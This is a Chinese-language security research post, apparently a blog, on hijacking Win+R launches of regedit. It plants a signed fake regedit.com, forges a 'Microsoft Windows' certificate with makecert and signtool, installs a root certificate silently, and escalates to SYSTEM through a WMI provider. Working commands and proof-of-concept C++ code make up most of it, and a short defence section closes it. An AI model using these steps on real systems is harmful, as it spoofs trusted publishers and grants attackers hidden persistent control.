我們都知道在獲得了測試系統的管理員權限后,維持這個管理員權限的方法有很多,常見的如安裝服務、驅動、利用wmi等等。
我在最近的研究過程中,結合學到的新知識,想到了一個有趣的方法———通過劫持系統程序,每當用戶確認UAC允許系統程序(如regedit)運行時,測試程序(calc.exe)隨即獲得了管理員甚至是system權限。
演示如下:
下面就結合這個演示來介紹其中相關的技巧。
在獲得了測試系統的管理員權限后(如通過漏洞),劫持系統默認程序(嚴格意義上不算劫持,此處為便于理解),當用戶通過Win+R的方式輸入程序名(如regedit)來執行一個需要管理員權限的程序(自Win7系統以來,UAC默認開啟攔截此操作,需要用戶點擊確認對話框),測試程序隨即獲得了管理員甚至是system權限(不需要借助漏洞)。
涉及到的技巧:
關于生成和注冊證書可以參考以下內容(同本文的生成方式不同):
介紹的很全面,但要注意在注冊證書的地方有一個bug
( a ) 準備工具
注:
Windows SDK默認包含以上工具
下載鏈接:https://www.microsoft.com/en-us/download/details.aspx?id=8279
( b ) 生成一個自簽名的根證書:
#!bash
makecert.exe -n "CN=Root" -r -sv RootIssuer.pvk RootIssuer.cer
( c ) 使用這個證書簽發一個子證書:
#!bash
makecert.exe -n "CN=Child" -iv RootIssuer.pvk -ic RootIssuer.cer -sv ChildSubject.pvk ChildSubject.cer -sky signature
( d ) 公鑰證書格式轉換成SPC:
#!bash
cert2spc.exe ChildSubject.cer ChildSubject.spc
( e ) 將公鑰證書和私鑰合并成一個PFX格式的證書文件:
#!bash
pvk2pfx.exe -pvk ChildSubject.pvk -pi test2 -spc ChildSubject.spc -pfx ChildSubject.pfx -f
( f ) 為exe簽名
#!bash
signtool sign /f ChildSubject.pfx /p test2 testav.exe
( g ) 檢查證書:
#!bash
certmgr.exe -c RootIssuer.cer
實例:
#!bash
makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer -b 01/30/2016 -e 01/01/2019
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi test -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p test test.exe
執行后如圖,生成Root.cer、Root.pfx、Root.pvk、Root.spc四個文件
test.exe被加上數字簽名,如圖
自己生成的CA根證書默認不受信任,要啟用信任,需要將該證書安裝到“受信任的根證書頒發機構”存儲區
證書注冊可以通過以下方法:
( a ) 界面操作
查看證書-安裝證書
( b ) 控制臺操作
需要CertMgr.exe
普通權限cmd,將證書添加到當前用戶:
#!bash
certmgr.exe -add -c RootIssuer.cer -s -r currentUser root
會彈框提示,如圖
管理員權限cmd,將證書添加到localmachine,不會彈框:
#!bash
certmgr.exe -add -c RootIssuer.cer -s -r localmachine root
certmgr.exe -add -c ChildSubject.cer -s -r localmachine root
刪除證書:
#!bash
certmgr.exe -del -c -n "Child" -s -r localMachine Root
certmgr.exe -del -c -n "Root" -s -r localMachine Root
刪除root的時候會提示選擇要刪除的證書編號
實例:
將證書添加至localmachine,以管理員權限執行:
#!bash
certmgr.exe -add -c Root.cer -s -r localmachine root
如圖,test.exe的數字簽名已被正常識別
為exe添加數字簽名可直接影響UAC彈框的界面
比如將c:\windows\regedit.exe放在其他位置運行,會提示發布者未知
如圖
如果加上數字簽名再運行,會顯示已驗證的發布者為:Microsoft Windows,如圖
注:
發布者名稱:Microsoft Windows是通過上述方法偽造的
在發現了數字簽名會影響UAC界面顯示的問題后,就猜想能否利用數字簽名來偽裝成系統程序,欺騙用戶運行,如regedit
熟悉Windows的人都知道運行regedit最快捷的方法為Win+r,輸入regedit
那么我們能否利用這個操作呢?
從http://fileinfo.com/extension/com獲得有關COM文件的介紹:
A COM file is an executable program capable of being run by MS-DOS and Windows. It is saved in a binary format and is similar to an .EXE file, but differs in that it has a maximum size of roughly 64KB and it has no header or metadata. The file is commonly used for executing a set of instructions whereas EXE files are used for fully developed programs. If a folder includes both EXE and COM files with the same filename (e.g., run.exe and run.com), the DOS or Windows command prompt will run the COM file if you type the filename without the extension.
如果一個路徑下同時包含同名的exe和com文件,會優先運行com文件
也就是說只要在c:\windows下寫入一個regedit.com文件,就會在regedit.exe之前執行,也就實現了一定意義上的劫持
而COM文件的生成只需要把exe文件的后綴名改為com即可
基于以上的分析,產生一個思路:只要偽造一個regedit.com并放于c:\windows下,就可以在用戶通過win+r輸入regedit時優先運行我們自己的程序
開發環境:Visual Studio 2015
poc:
#!cpp
#include "Windows.h"
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
WinExec("regedit", SW_SHOW);
WinExec("cmd", SW_SHOW);
return 0;
}
執行會運行regedit.exe和cmd.exe,regedit需要管理員權限,程序的默認權限無法執行regedit
下面就為程序賦予admin權限:
右擊工程屬性——配置屬性——鏈接器——清單文件,找到UAC執行級別
如圖
設置為requireAdministrator
如圖
重新生成,產生新文件,圖標上會添加uac的標志,如圖
將程序后綴名修改為com,圖標消失
如圖
雙擊運行,彈出uac攔截框,提示發布者:未知,如圖
接下來為程序添加數字簽名,再次運行,成功解決發布者未知的問題
但是新的問題產生:程序名稱無法偽造,顯示為Win32Project5.com
如圖
解決方法:
為程序添加說明文件
c++工程文件-添加-資源-Version
修改File Decription為Registry Editor
如圖
再次重新生成文件并簽名,后綴名改為com
執行,已經同正常的regedit.exe相似,如圖
完整的演示如圖,此時彈出的cmd權限為管理員權限
我使用的方法為:EvilNetConnectionWMIProvider
地址為:https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider
原工程為以system權限執行cmd,這里簡單修改一下把內容替換為啟動calc.exe
EvilNetConnectionWMIProvider.cs中的RunPS作如下修改:
#!csharp
public static string RunPS(string cmd)
{
System.Diagnostics.Process.Start("c:\\windows\\system32\\calc.exe");
return cmd;
}
編譯生成EvilNetConnectionWMIProvider.dll
安裝:
( 需要管理員權限 )
#!bash
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilNetConnectionWMIProvider.dll
卸載:
( 需要管理員權限 )
#!bash
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /u EvilNetConnectionWMIProvider.dll
注:
卸載存在bug,再次注冊使用需要修改AssemblyInfo.cs中的assembly: Guid
調用wmi控件:
( 需要管理員權限 )
#!bash
powershell Invoke-WMIMethod -Class Win32_NetConnection -Name RunPs -ArgumentList "whoami", $NULL
會打開一個system權限的calc.exe
因此0x04中完整的c++程序代碼如下:
#!cpp
#include "Windows.h"
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
WinExec("regedit", SW_SHOW);
WinExec("cmd /c powershell.exe Invoke-WMIMethod -Class Win32_NetConnection -Name RunPs -ArgumentList ""whoami"", $NULL", SW_HIDE);
return 0;
}
按照上述流程就可以實現劫持用戶通過win+r執行regedit的輸入,在啟動正常regedit.exe的同時在后臺運行一個system權限的calc.exe
對照上述流程,可結合實現需要的條件進行防御
注冊證書、在c:\windows(%windir%)下寫文件的操作都需要管理員權限
查看系統是否有不受信任的偽造證書
win+r輸入certmgr.msc,進入證書管理,查看系統安裝的證書
查看c:\windows(%windir%)下是否有同系統程序的名稱相同,后綴名為com的文件
com文件啟動和系統程序啟動彈出的UAC對話框中的圖標存在差別(相信很多人都沒有發現T_T)
正常的:
偽造的:
from admin to system需要通過InstallUtil.exe來注冊服務
通過win+r啟動程序的時候,記得輸入全稱+后綴名,這樣就可以避免被同名的com文件劫持
本文只是對regedit的劫持做了演示,結合實際攻擊的方式還有很多,但只要了解細節后再進行防御就不難。希望本文能讓大家有所啟發。